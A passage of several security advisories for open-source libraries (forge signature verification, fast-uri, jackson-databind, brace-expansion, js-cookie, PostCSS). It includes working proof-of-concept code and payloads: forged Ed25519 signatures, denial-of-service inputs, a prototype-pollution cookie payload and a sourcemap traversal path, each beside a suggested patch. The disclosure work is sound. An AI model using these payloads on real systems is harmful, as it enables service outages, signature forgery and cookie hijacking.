crypto.constants.RSA_PKCS1_PADDING }); // forge verification calls (library under test) const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig); const forgedForge = forgeStrictVerify(publicKey, msg, sig); // Node.js verification calls (OpenSSL-backed reference behavior) const controlNode = crypto.verify('sha256', controlMsg, { key: publicKey, padding: crypto.constants.RSA_PKCS1_PADDING }, controlSig); const forgedNode = crypto.verify('sha256', msg, { key: publicKey, padding: crypto.constants.RSA_PKCS1_PADDING }, sig); console.log('control-forge-strict:', controlForge.ok, controlForge.err || ''); console.log('control-node:', controlNode); console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || ''); console.log('forgery (node/OpenSSL):', forgedNode); } main(); ``` </details> ## Suggested Patch - Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (`PS >= 8`) in `_decodePkcs1_v1_5` before accepting the block. - Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields). Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects: ```diff index b207a63..ec8a9c1 100644 --- a/lib/rsa.js +++ b/lib/rsa.js @@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) { error.errors = errors; throw error; } + + if(obj.value.length != 2) { + var error = new Error( + 'DigestInfo ASN.1 object must contain exactly 2 fields for ' + + 'a valid RSASSA-PKCS1-v1_5 package.'); + error.errors = errors; + throw error; + } // check hash algorithm identifier // see PKCS1-v1-5DigestAlgorithms in RFC 8017 // FIXME: add support to validator for strict value choices @@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) { } ++padNum; } + + if (padNum < 8) { + throw new Error('Encryption block is invalid.'); + } } else if(bt === 0x02) { // look for 0x00 byte padNum = 0; ``` ## Resources - RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8 - > This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition. - RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html - `lib/rsa.js` `key.verify(...)` at lines ~1139-1223. - `lib/rsa.js` `_decodePkcs1_v1_5(...)` at lines ~1632-1695. ## Credit This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.
### Impact `fast-uri` v3.1.0 and earlier decodes percent-encoded path separators (`%2F`) and dot segments (`%2E`) before applying dot-segment removal in `normalize()` and `equal()`. This makes encoded path data behave like real `/` and `..`, so distinct URIs collapse onto the same normalized path. For example, `http://example.com/public/%2e%2e/admin` normalizes to `http://example.com/admin`, and `equal()` considers them the same URI. Applications that normalize or compare attacker-controlled URLs to enforce path-based policy can be bypassed. A path that looks confined under an allowed prefix can normalize to a different location. ### Patches Upgrade to `fast-uri` >= 3.1.1, or if you are in the v2.x release line, v2.4.1 ### Workarounds None. Upgrade to the patched version.
### Summary `jackson-databind` 3.2.1 deserializes a JSON **string** bound to a `javax.xml.datatype.Duration` or `javax.xml.datatype.XMLGregorianCalendar` field by passing the raw string verbatim to `DatatypeFactory.newDuration(value)` / `newXMLGregorianCalendar(value)`. Per the XML-Schema lexical grammar these factory methods accept numeric components of arbitrary length, which the JDK materializes into `java.math.BigInteger` / `BigDecimal` using the native `BigInteger(String)` constructor (an O(n²) parser). Because the digits reside inside a JSON **string** token, jackson-core's `StreamReadConstraints.maxNumberLength` guard (which bounds only JSON *number* tokens) never fires, so there is no length limit anywhere on this path. An unauthenticated attacker can submit a single small request (e.g. ~1–5 MB) that forces tens of seconds to minutes of single-thread CPU consumption, yielding a denial of service under the default `JsonMapper.builder().build()` mapper with no polymorphic typing or special configuration. ### Details `StreamReadConstraints.maxNumberLength` (jackson-core, default 1000) bounds the **text length of JSON number tokens** only; it does not apply to digits inside a JSON string token (`maxStringLength` default is 100,000,000). jackson's own value binders compensate for this gap elsewhere — `NumberDeserializers` explicitly call `streamReadConstraints().validateIntegerLength(text.length())` / `validateFPLength(text.length())` before parsing a *stringified* number (`NumberDeserializers.java:1063`, `:1139`). The XML-datatype deserializer omits this identical pre-check. `CoreXMLDeserializers` registers `Std` deserializers **by default** for any field typed `javax.xml.datatype.Duration` or `XMLGregorianCalendar` (`findBeanDeserializer`), with no opt-in required. `Std._deserialize` hands the attacker string straight to the datatype factory: ```java protected Object _deserialize(String value, DeserializationContext ctxt) { switch (_kind) { case TYPE_DURATION: return _dataTypeFactory.newDuration(value); // attacker lexical string case TYPE_G_CALENDAR: Date d; try { d = _parseDate(value, ctxt); } catch (DatabindException e) { return _dataTypeFactory.newXMLGregorianCalendar(value); // attacker lexical string } return _gregorianFromDate(ctxt, d); } throw new IllegalStateException(); } ``` Per the XSD lexical rules, `newDuration` parses each numeric component (years, months, …) into a `BigInteger`, and `newXMLGregorianCalendar` parses fractional seconds into a `BigDecimal`. The JDK uses the native `BigInteger(String)` / `BigDecimal(String)` constructors, which are O(n²) in the digit count. A short JSON string such as `"P" + "9"×N + "Y"` therefore forces the allocation and O(N²) parse of an N-digit `BigInteger`, entirely downstream of every jackson-core constraint. ## Vulnerable Code Location - `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:137` — `newDuration(value)` (TYPE_DURATION) - `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:147` — `newXMLGregorianCalendar(value)` (TYPE_G_CALENDAR fallback) - Registration (default, no opt-in): `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:42-46` (`findBeanDeserializer` returns `Std` for `XMLGregorianCalendar` / `Duration`) - Contrast — correct length-guard pattern already used elsewhere in the library: `src/main/java/tools/jackson/databind/deser/jdk/NumberDeserializers.java:1063,1139` ## Proof of Concept PoC source (`Vuln07_DurationDoS.java`). It uses only the public `ObjectMapper.readValue` API and a default mapper; the only "special" element is a normal DTO exposing a `javax.xml.datatype.Duration` field. ```java package com.poc; import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper; import javax.xml.datatype.Duration; /** * Vuln 7: Unbounded numeric allocation / CPU DoS via Duration lexical deserialization. * A short JSON string forces parsing of a huge BigInteger inside DatatypeFactory.newDuration. */ public class Vuln07_DurationDoS { public static class Cfg { public Duration ttl; } public static void main(String[] args) throws Exception { ObjectMapper mapper = JsonMapper.builder().build(); int digits = Integer.getInteger("digits", 5_000_000); // Baseline small parse. long t0 = System.nanoTime(); mapper.readValue("{\"ttl\":\"P1Y\"}", Cfg.class); long tBase = System.nanoTime() - t0; System.out.println("Baseline (P1Y) parse: " + (tBase/1_000_000) + " ms"); String big = "P" + "9".repeat(digits) + "Y"; String json = "{\"ttl\":\"" + big + "\"}"; System.out.println("Payload JSON size ~ " + json.length() + " bytes (year component = " + digits + " digits)"); long t1 = System.nanoTime(); try { Cfg c = mapper.readValue(json, Cfg.class); long dt = System.nanoTime() - t1; System.out.println("Parsed giant Duration in " + (dt/1_000_000) + " ms; years field type materialized as BigInteger"); System.out.println("RESULT: VULNERABLE - " + digits + "-digit BigInteger parsed from a " + json.length() + "-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)"); } catch (Throwable t) { long dt = System.nanoTime() - t1; System.out.println("After " + (dt/1_000_000) + " ms threw " + t.getClass().getName() + ": " + t.getMessage()); } } } ``` Minimal HTTP-shaped payload (what an attacker sends): ```json { "ttl": "P99999999999999999999…9Y" } // 'P' + N nines + 'Y', N up to ~100,000,000 ``` An `XMLGregorianCalendar` field is equally affected via the fractional-seconds path, e.g. `{ "at": "0000-01-01T00:00:00." + "9"×N }`. ## Execution Steps The PoC needs only the three Jackson 3.2.1 jars on the classpath; it can be built and run with plain `javac`/`java` (no Maven required). The jars are the standard published artifacts (here resolved from the local Maven cache `~/.m2`, but any copy works). ```bash # 0. Locate the three dependency jars (published Maven artifacts). M2="$HOME/.m2/repository" DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar" CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar" ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar" CP="$DB:$CORE:$ANN" # If not already cached, fetch them once, e.g.: # mvn -q dependency:get -Dartifact=tools.jackson.core:jackson-databind:3.2.1 # (jackson-core 3.2.1 and jackson-annotations 2.22 come as transitive deps) # 1. Compile with javac (single source file). mkdir -p out javac -cp "$CP" -d out src/main/java/com/poc/Vuln07_DurationDoS.java # 2. Quick confirmation (~11 s): 1,000,000-digit year component. java -Xmx2g -Ddigits=1000000 -cp "out:$CP" com.poc.Vuln07_DurationDoS # 3. Full-severity demonstration (~293 s): 5,000,000-digit year component. java -Xmx2g -Ddigits=5000000 -cp "out:$CP" com.poc.Vuln07_DurationDoS ``` The `digits` system property controls the number of `9` characters in the year component; JSON payload size ≈ digits + 12 bytes. Increase toward the default 100,000,000 `maxStringLength` to scale cost further. Environment used for the evidence below: jackson-databind 3.2.1, jackson-core 3.2.1, jackson-annotations 2.22; OpenJDK 25 on macOS (darwin), default `JsonMapper.builder().build()`. ## Reproduction Evidence Deterministic values (payload byte count, resulting bit-length) are exact across runs; timings vary with load. Two independent runs at different sizes: **digits = 5,000,000 (~5 MB payload):** ``` Baseline (P1Y) parse: 27 ms Payload JSON size ~ 5000012 bytes (year component = 5000000 digits) Parsed giant Duration in 293175 ms; years field type materialized as BigInteger RESULT: VULNERABLE - 5000000-digit BigInteger parsed from a 5000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed) ``` **digits = 1,000,000 (~1 MB payload, for fast repeatability):** ``` Baseline (P1Y) parse: 53 ms Payload JSON size ~ 1000012 bytes (year component = 1000000 digits) Parsed giant Duration in 11155 ms; years field type materialized as BigInteger RESULT: VULNERABLE - 1000000-digit BigInteger parsed from a 1000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed) ``` Interpretation: a normal `"P1Y"` value parses in tens of milliseconds; a ~1 MB attacker payload consumes **~11 s** and a ~5 MB payload **~293 s** of single-thread CPU — a 5–6 order-of-magnitude amplification. The super-linear growth (≈26× cost for 5× payload) is consistent with the JDK's O(n²) `BigInteger(String)` constructor. The cost occurs inside `DatatypeFactory.newDuration`, downstream of jackson-core's `StreamReadConstraints` (independently confirmed: the same digit sequence supplied as a bare JSON *number* token is rejected with `StreamConstraintsException`, whereas inside a string token it is not bounded). ## Impact An unauthenticated attacker can stall a request-processing thread for tens of seconds to minutes and allocate a large `BigInteger`/`BigDecimal` from a single small request. Because the cost is CPU-bound and super-linear, a handful of concurrent requests can saturate the server's worker threads and CPU, denying service to all users. The exposure requires only that a bound type expose a `javax.xml.datatype.Duration` or `XMLGregorianCalendar` field common in applications that ingest XML-schema derived data, SOAP/JAXB-adjacent models, or configuration carrying XSD durations — and fires under the default mapper with no polymorphic typing. ## Recommended Fix Apply the same validate-length-then-parse idiom the core `NumberDeserializers` already use: 1. In `CoreXMLDeserializers.Std._deserialize`, enforce a maximum raw-string length before calling `newDuration(value)` / `newXMLGregorianCalendar(value)` — e.g. reject inputs longer than `ctxt.streamReadConstraints().getMaxNumberLength()` (or a dedicated bound), routing over-length input through `ctxt.handleWeirdStringValue(...)`. 2. Alternatively, validate the lexical form against a bounded regex and cap the digit count of each numeric component before delegating to `DatatypeFactory`. 3. Document that `Duration` / `XMLGregorianCalendar` fields bound from untrusted input must be length-limited at the transport layer.
## Summary Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S >= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, [as defined by the specification](https://datatracker.ietf.org/doc/html/rfc8032#section-8.4). This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see [CVE-2026-25793](https://nvd.nist.gov/vuln/detail/CVE-2026-25793), [CVE-2022-35961](https://nvd.nist.gov/vuln/detail/CVE-2022-35961)). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. ## Impacted Deployments **Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5` **Affected versions:** tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented. **Configuration assumptions:** - Default forge Ed25519 verify API path (`ed25519.verify(...)`). ## Root Cause In `lib/ed25519.js`, `crypto_sign_open(...)` uses the signature's last 32 bytes (`S`) directly in scalar multiplication: ```javascript scalarbase(q, sm.subarray(32)); ``` There is no prior check enforcing `S < L` (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where `S := S + L (mod 2^256)` when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature. ## Reproduction Steps - Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`. - Place and run the PoC script (`poc.js`) with `node poc.js` in the same level as the `forge` folder. - The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (`crypto.verify`). - Confirm output includes: ```json { "forge": { "original_valid": true, "tweaked_valid": true }, "crypto": { "original_valid": true, "tweaked_valid": false } } ``` ## Proof of Concept **Overview:** - Demonstrates a valid control signature and a forged (S + L) signature in one run. - Uses Node/OpenSSL as a differential verification baseline. - Observed output on tested commit: ```text { "forge": { "original_valid": true, "tweaked_valid": true }, "crypto": { "original_valid": true, "tweaked_valid": false } } ``` <details><summary>poc.js</summary> ```javascript #!/usr/bin/env node 'use strict'; const path = require('path'); const crypto = require('crypto'); const forge = require('./forge'); const ed = forge.ed25519; const MESSAGE = Buffer.from('dderpym is the coolest man alive!'); // Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032). const ED25519_ORDER_L = Buffer.from([ 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, ]); // For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature. // This returns a new signature with s := s + L (mod 2^256), plus the carry. function addLToS(signature) { if (!Buffer.isBuffer(signature) || signature.length !== 64) { throw new Error('signature must be a 64-byte Buffer'); } const out = Buffer.from(signature); let carry = 0; for (let i = 0; i < 32; i++) { const idx = 32 + i; // s starts at byte 32 in the 64-byte signature. const sum = out[idx] + ED25519_ORDER_L[i] + carry; out[idx] = sum & 0xff; carry = sum >> 8; } return { sig: out, carry }; } function toSpkiPem(publicKeyBytes) { if (publicKeyBytes.length !== 32) { throw new Error('publicKeyBytes must be 32 bytes'); } // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM. const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]); const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]); const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]); const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]); const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n'); return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`; } function verifyWithCrypto(publicKey, message, signature) { try { const keyObject = crypto.createPublicKey(toSpkiPem(publicKey)); const ok = crypto.verify(null, message, keyObject, signature); return { ok }; } catch (error) { return { ok: false, error: error.message }; } } function toResult(label, original, tweaked) { return { [label]: { original_valid: original.ok, tweaked_valid: tweaked.ok, }, }; } function main() { const kp = ed.generateKeyPair(); const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey }); const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey }); const tweaked = addLToS(sig); const okTweaked = ed.verify({ message: MESSAGE, signature: tweaked.sig, publicKey: kp.publicKey, }); const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig); const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig); const result = { ...toResult('forge', { ok }, { ok: okTweaked }), ...toResult('crypto', cryptoOriginal, cryptoTweaked), }; console.log(JSON.stringify(result, null, 2)); } main(); ``` </details> ## Suggested Patch Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if `S >= L`). Here is a patch we tested on our end to resolve the issue, though please verify it on your end: ```diff index f3e6faa..87eb709 100644 --- a/lib/ed25519.js +++ b/lib/ed25519.js @@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) { return -1; } + if(!_isCanonicalSignatureScalar(sm, 32)) { + return -1; + } + for(i = 0; i < n; ++i) { m[i] = sm[i]; } @@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) { return mlen; } +function _isCanonicalSignatureScalar(bytes, offset) { + var i; + // Compare little-endian scalar S against group order L and require S < L. + for(i = 31; i >= 0; --i) { + if(bytes[offset + i] < L[i]) { + return true; + } + if(bytes[offset + i] > L[i]) { + return false; + } + } + // S == L is non-canonical. + return false; +} + function modL(r, x) { var carry, i, j, k; for(i = 63; i >= 32; --i) { ``` ## Resources - RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4 - > Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l ## Credit This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.
### Summary `expand_()` recurses once per level of brace *nesting*. Deeply nested input exhausts the native stack and crashes the process. This is distinct from CVE-2026-14257 / GHSA-mh99-v99m-4gvg, which made the *tail* iterative (recursion on `m.post`, driven by how many groups are chained). Nesting depth drives a different recursion that the tail fix never touched, so the documented constant-stack-depth guarantee only ever covered chained input, not nested input. It is also distinct from GHSA-6j4f-fj2g-mc7p, which fixed recursion in `parseCommaParts()`. Both payloads below still crash with that fix applied. ### Two recursion sites **Comma members.** Each alternative of a brace set is expanded by a recursive call, so nesting a set inside every alternative recurses once per level: ```js expand('{a,'.repeat(4000) + 'z' + '}'.repeat(4000)) // RangeError: Maximum call stack size exceeded ``` Crashes at depth 3,907 - about **15.6 KB** of input. **Single set.** A brace set whose body parses to a single part is expanded by a recursive call before being re-wrapped (`x{{a,b}}y` -> `x{a}y x{b}y`), which recurses once per nesting level: ```js expand('{'.repeat(3200) + 'a,b' + '}'.repeat(3200)) // RangeError: Maximum call stack size exceeded ``` Crashes at depth 3,125 - about **6.25 KB** of input. This is the cheapest stack-exhaustion payload known against this package: roughly a quarter the input of GHSA-6j4f-fj2g-mc7p (29 KB), and about a tenth of minimatch's `MAX_PATTERN_LENGTH` (65,536). ### Why `max` and `maxLength` do not help Both crashes happen while recursing into sub-expansions, before the result set grows. The payloads produce almost no output - the single-set case yields 2 results - so neither bound is ever the limiter. `expand(payload, { max: 1, maxLength: 1 })` still overflows. ### Impact Any application passing an untrusted string to `expand()`, directly or through `minimatch` / `glob` as a user-supplied glob pattern, can be crashed. In Node a `RangeError` the application does not catch terminates the process, so a server globbing user input is exposed to remote unauthenticated denial of service. Availability only. No code execution, no data exposure. ### Affected versions Verified affected on 1.1.18, 2.1.4, 3.0.6 and 5.0.9, at near-identical depths on every line (single set: 3,125 on all four; comma members: 3,907-4,102). Not a regression from any recent fix - the gap predates them. ### Patch A `maxDepth` bound (default `EXPANSION_MAX_DEPTH`) is threaded through `expand_()`. Past the cap a group is treated as non-expanding and returned literally, which is how the parser already handles a group that cannot expand. This matches the existing `max` / `maxLength` caps, which truncate rather than throw, so `expand()` continues never to throw on any input. The default sits far above any realistic nesting depth and well below the crash threshold.
## Summary `js-cookie`'s internal `assign()` helper copies properties with `for...in` + plain assignment. When the source object is produced by `JSON.parse`, the JSON object's `"__proto__"` member is an *own enumerable* property, so the `for…in` enumerates it and the `target[key] = source[key]` write triggers the **`Object.prototype.__proto__` setter** on the fresh `target` (`{}`). The result is a per-instance prototype hijack: `Object.prototype` itself is untouched, but the merged `attributes` object now inherits attacker-controlled keys. Because the consuming `set()` function then enumerates the merged object with another `for...in`, every key the attacker placed on the polluted prototype lands in the resulting `Set-Cookie` string as an attribute pair. The attacker can set `domain=`, `secure=`, `samesite=`, `expires=`, and `path=` on cookies whose attributes the developer thought were locked down. ## Impact Any application that forwards a JSON-derived object as the `attributes` argument to `Cookies.set`, `Cookies.remove`, `Cookies.withAttributes`, or `Cookies.withConverter` is vulnerable. This is the standard pattern when cookie configuration comes from a backend: ```js const cfg = await fetch('/config').then(r => r.json()); Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker ``` A payload of `{"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}}` causes js-cookie to emit: ``` Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None ``` ## Affected code ```js // src/assign.mjs — full file export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] for (var key in source) { // includes own enumerable '__proto__' target[key] = source[key] // [[Set]] form - fires __proto__ setter } } return target } ``` ## Proof of concept Node 22.11.0, no third-party deps: ### Environment setup ```bash mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc npm init -y npm i js-cookie ``` ### PoC ```js ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs let lastSetCookie = ''; globalThis.document = { get cookie() { return ''; }, set cookie(v) { lastSetCookie = v; } }; const { default: Cookies } = await import('js-cookie'); const attackerAttrs = JSON.parse( '{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}' ); Cookies.set('session', 'TOKEN', attackerAttrs); console.log('Set-Cookie that js-cookie wrote to document.cookie:'); console.log(lastSetCookie); ``` Execution: <img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" /> ## Suggested patch ```diff --- a/src/assign.mjs +++ b/src/assign.mjs @@ export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] - for (var key in source) { - target[key] = source[key] - } + for (var key in source) { + if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue + Object.defineProperty(target, key, { + value: source[key], + writable: true, + enumerable: true, + configurable: true, + }) + } } return target } ``` Equivalent one-liner alternative - iterate own names only and filter: ```js for (const key of Object.getOwnPropertyNames(source)) { if (key === '__proto__') continue target[key] = source[key] } ```
### Impact `fast-uri` serializes the `port` component of a URI without validating it. When recomposing the authority, `fast-uri` escapes the userinfo and host components but concatenates the port verbatim, so a `port` value that is not a sequence of digits can inject authority delimiters. For example, serializing a component whose `port` is `@127.0.0.1:8124` produces `http://trusted.example:@127.0.0.1:8124/app`, demoting the intended host to userinfo and pointing the authority at an attacker-controlled host. Both `fast-uri` and Node's `URL` read the result back as the attacker's host with no error, so re-validating the built URI does not catch it. This affects applications that build URIs from parts and assign untrusted data to the `port` component (for example a fixed host from configuration and a port taken from user input or a service record). The same path is reachable through `serialize()`, `normalize()`, and `equal()` in their object forms. A `port` obtained from `parse()` is always digits and is not affected. ### Patches This vulnerability has been patched in fast-uri `4.1.4`, `3.1.7`, and `2.4.6`. `recomposeAuthority` now rejects any port that is not `*DIGIT` per RFC 3986. All users should upgrade. ### Workarounds If upgrading is not immediately possible, validate the `port` value against the RFC 3986 grammar (digits only) before passing a component to `serialize()`, `normalize()`, or `equal()`, and reject anything else, for example `if (!/^\d*$/.test(String(port))) throw new Error('invalid port')`.
## Vulnerability Details **File**: `lib/previous-map.js` **Line**: 87-98 (`loadFile`), 129-144 (`loadMap`) ### Root Cause PostCSS auto-detects a `/*# sourceMappingURL=... */` comment inside the CSS text it is asked to parse and, unless the caller explicitly passes `map: false`, attempts to load that path from disk as a "previous source map." This happens on every `postcss.parse()` / `postcss().process()` call by default (opt-out, not opt-in). `loadMap()` builds the candidate path via `join(dirname(opts.from), annotation)`, where `annotation` is the raw, attacker-controlled string from the CSS comment. `path.join()` normalizes but does not sandbox `..` segments, so a `../../../` prefix walks the resolved path outside the intended directory. If `opts.from` is not set at all, the annotation is used completely unmodified — an absolute path in the CSS comment is read verbatim. 8.5.12 already fixed a strictly worse variant of this (any file, any extension, could be read) by requiring the resolved path to end in `.map` (`loadFile()`). That fix did not address the traversal itself, only the target extension. Since the `join(dirname(file), map)` logic has existed unchanged since PostCSS 8.0.0 (Feb 2020), any file ending in `.map` remains readable through this path in the current release (8.5.16). Once loaded, `MapGenerator.isMap()` treats the mere presence of a loaded "previous map" as an implicit request to generate `result.map`, even when the caller never set the `map` option. If the loaded map has a `sourcesContent` field (common for maps emitted by bundlers/transpilers), that content is merged into `result.map` and returned to the caller — disclosing the traversed-to file's content to whoever supplied the CSS. ### Attack Scenario 1. A service accepts user-submitted CSS and runs it through PostCSS to lint/format/transform it, e.g. `postcss().process(userCss, { from: '/app/uploads/user123/input.css', to: '/app/uploads/user123/output.css' })` — idiomatic usage; `map` option untouched. 2. Attacker submits CSS containing `/*# sourceMappingURL=../../../../some/other/app/dist/bundle.js.map */` (or an absolute path if `from` is unset). 3. PostCSS reads that `.map` file and folds its `sourcesContent` into `result.map`. 4. The service does what most build pipelines do with a truthy `result.map` — writes it next to the CSS output or returns it via API (source maps are meant to be consumed by browser devtools, so this is commonly public/served). 5. Attacker retrieves the emitted map and reads out the traversed file's content. ### Impact Disclosure of the contents of arbitrary `.map` files reachable via path traversal (or absolute path when `from` is unset) from the process's filesystem. Affects any application processing CSS it does not fully trust without explicitly passing `map: false`. No authentication or user interaction beyond submitting CSS text is required. ### Vulnerable Code ```js loadFile(path, cssFile, trusted) { if (!trusted && !this.unsafeMap) { if (!/\.map$/i.test(path)) { return undefined } } this.root = dirname(path) if (existsSync(path)) { this.mapFile = path return readFileSync(path, 'utf-8').toString().trim() } } loadMap(file, prev) { ... } else if (this.annotation) { let map = this.annotation if (file) map = join(dirname(file), map) let unknown = this.loadFile(map, file, false) ... } } ``` ### Recommended Fix Constrain the resolved path to remain inside the CSS file's own directory instead of relying solely on a filename-extension check: ```js loadFile(path, cssFile, trusted) { if (!trusted && !this.unsafeMap) { if (!/\.map$/i.test(path)) { return undefined } if (!cssFile) return undefined let root = resolve(dirname(cssFile)) let resolvedPath = resolve(root, path) if (resolvedPath !== root && !resolvedPath.startsWith(root + sep)) { return undefined } } this.root = dirname(path) if (existsSync(path)) { this.mapFile = path return readFileSync(path, 'utf-8').toString().trim() } } ``` I've implemented, tested (full existing test suite — 660/660 passing, plus new PoC-based regression checks for both the traversal and legitimate same-directory cases), and can share this fix on request or via a private fork if invited. ### Verification Dynamically confirmed on v8.5.16 (current npm release / repo HEAD) via a standalone Node.js harness against `lib/postcss.js`: a "secret" `.map` file placed two directories outside a simulated project directory was read via a crafted `sourceMappingURL` comment in otherwise-innocuous CSS, with its `sourcesContent` appearing verbatim in `result.map.toString()` — with no `map` option set by the caller. A second harness confirmed the simpler no-`from` case reads an absolute path directly. A third harness confirmed `map: false` is the only current workaround. The attached fix branch closes both vectors while keeping all 660 existing unit tests green.
### Summary The `maxLength` mitigation added in `5.0.8` for GHSA-mh99-v99m-4gvg / CVE-2026-14257 is incomplete. It bounds the accumulator where results are *combined*, but not the intermediate arrays that feed it. A ~25 KB input still crashes the Node process with an **uncatchable** out-of-memory error, so `try/catch` around `expand()` does not help. A second, related path in the same function lets a ~400 KB input block the event loop for over two minutes without ever exceeding the memory bound. ### Details `maxLength` was enforced in `combine()`, the single place output grows. Two arrays are built *before* `combine()` runs, and neither was bounded. **1. Comma alternatives accumulate without a running total (memory exhaustion)** Each alternative in `{a,b,c,...}` is expanded by its own recursive `expand_()` call, so each receives a full, independent `maxLength` allowance. The results were then concatenated into a single `values` array with no cumulative limit: ```js values = [] for (let j = 0; j < n.length; j++) { values.push.apply(values, expand_(n[j], max, maxLength, false)) } acc = combine(acc, pre, values, max, maxLength, ...) ``` With `A` alternatives, `values` can reach `A * maxLength` characters before `combine()` gets a chance to truncate it. At the default `maxLength` of 4,000,000 and 400 alternatives, that is well past any default heap. **2. Padded sequences ignore `maxLength` while generating (CPU exhaustion)** `expandSequence()` was bounded by `max` (the result *count*) but never consulted `maxLength`. A padded sequence's element width follows the input, so `{0...01..100000}` with a wide pad generates `max` elements, each as wide as the input, only for `combine()` to discard all but a handful. Memory stays flat here, because V8 represents the padded strings as cons-strings, which is likely why this path was not caught alongside the original issue. The cost is time: work proportional to `max * width`. | pad width | input bytes | results kept | time (5.0.8) | time (patched) | |---|---|---|---|---| | 20,000 | 20 KB | 199 | ~7.3 s | ~20 ms | | 100,000 | 100 KB | 39 | ~32 s | ~20 ms | | 400,000 | 400 KB | 9 | ~124 s | ~18 ms | Output is byte-identical before and after the fix; only the wasted work is removed. ### Proof of concept Memory exhaustion, against `5.0.8`: ```js import { expand } from 'brace-expansion' const part = '{' + '0'.repeat(50) + '1..100000}' const input = '{' + Array(400).fill(part).join(',') + '}' // ~25 KB try { expand(input) } catch (e) { // never reached - the process is already dead } ``` ``` FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory Aborted ``` Event-loop stall, against `5.0.8`: ```js import { expand } from 'brace-expansion' // ~400 KB input, returns 9 results after roughly two minutes of blocking CPU expand('{' + '0'.repeat(400_000) + '1..100000}') ``` ### Impact Denial of service. Any application that passes attacker-controlled input to `expand()`, directly or transitively through a glob or pattern-matching library, can be remotely crashed or stalled. The out-of-memory variant terminates the process and cannot be handled with `try/catch`. Applications already on `5.0.8` are affected: the `5.0.8` mitigation does not cover these paths. ### Patches Both intermediate arrays are now bounded as they are built, using the same `max` and `maxLength` limits already applied in `combine()`: - `values` tracks a running result count and character length while alternatives are appended, and stops once either bound is reached. - `expandSequence()` accepts `maxLength` and stops generating once the sequence's own characters reach it. As with the existing limits, output is truncated rather than allowed to grow without bound, which matches 